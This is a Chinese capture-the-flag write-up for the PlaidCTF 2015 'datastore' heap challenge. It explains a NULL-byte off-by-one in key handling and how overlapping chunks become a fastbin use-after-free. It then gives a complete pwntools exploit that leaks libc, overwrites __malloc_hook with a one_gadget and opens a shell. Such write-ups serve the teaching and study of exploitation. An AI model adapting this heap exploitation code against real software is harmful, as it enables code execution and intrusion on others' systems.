2015 plaidctf datastore(off by one)

1、检查

[*] '/home/yzl/Documents/off_by_one/datastore'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

保护全开

2、漏洞分析

在这里插入图片描述
v3先赋值,再+1,所以当row_key刚好到了临界区,刚好还没有扩大时,会有一个NULL 字节溢出。key_row会产生溢出的几个大小0x18,0x38,0x78,0xf8,0x1f8…

3、漏洞利用

在这里插入图片描述
当free b后,会通过unlink会将x+fast+a+b合并成一个大的unsort bin,而我们再将fast free后,再次申请chunk,便可以控制fast 的fd域,这就变成了uaf,从而实现任意写。
exp

from pwn import *
import LibcSearcher as ls 
context.log_level = 'debug'

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']


p = process('./datastore')

libc= ELF("/lib/x86_64-linux-gnu/libc.so.6")

def GET(row_key):
    p.recvuntil('PROMPT: Enter command:\n')
    p.sendline("GET")
    p.sendlineafter('PROMPT: Enter row key:\n',row_key)
def PUT(row_key,size,data):
    p.recvuntil('PROMPT: Enter command:\n')
    p.sendline("PUT")
    p.sendlineafter('PROMPT: Enter row key:\n',row_key)
    p.sendlineafter('PROMPT: Enter data size:\n', str(size))
    if(len(data)<size):
        data=data.ljust(size,'\x00')
    p.sendafter('PROMPT: Enter data:\n',data)


def DUMP():
    p.recvuntil('PROMPT: Enter command:\n')
    p.sendline("DUMP")

def DEL(row_key):
    p.recvuntil('PROMPT: Enter command:\n')
    p.sendline("DEL")
    p.sendlineafter("PROMPT: Enter row key:\n",row_key)

def EXIT():
    p.recvuntil('PROMPT: Enter command:\n')
    p.sendline("EXIT")




for i in range(10):#因为每个功能函数都用到了0x38 chunk,所以我们先构造一些,避免影响后面的利用
    PUT(str(i), 0x38, 'a' * 0x18)
for i in range(10):
    DEL(str(i))


PUT('x', 0x200, 'x' * 0x200)
PUT('fast', 0x68, 'fast')
PUT('fast2', 0x68, 'fast2')
PUT('a', 0x1f8, 'a' * 0x18)
PUT('b', 0xf0, 'b' * 0x18)
PUT('defense', 0x400, 'defense-data')#防止top bin的影响
DEL('a')
DEL('x')
DEL('1' * 0x1f0 + p64(0x4f0))#对b的pre_size域和prev_inuse进行覆盖
DEL('b')
PUT('0x200', 0x200, '0x200')
PUT('0x200plus',0x200,'0x200')
GET('fast')
p.recvuntil(']:\n')
leak = u64(p.recv(8).ljust(8, '\x00'))
libc_base= leak-(0x7ffff7dd1b78-0x7ffff7a0d000)
DEL('fast2')
PUT('0x68+0x68', 0x100, 'a' * 0x68 + p64(0x71) + p64(libc_base + libc.symbols['__malloc_hook'] - 10-0x10+7))
PUT('pre', 0x68, 'aa')
one_gadget_offset =  0x4526a
one_gadget=one_gadget_offset+libc_base
PUT('attack',0x68,'a'*3+p64(one_gadget))
GET('fast')
p.interactive()


https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/off_by_one-zh/#2-plaidctf-2015-plaiddb
https://bbs.pediy.com/thread-246966.htm

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值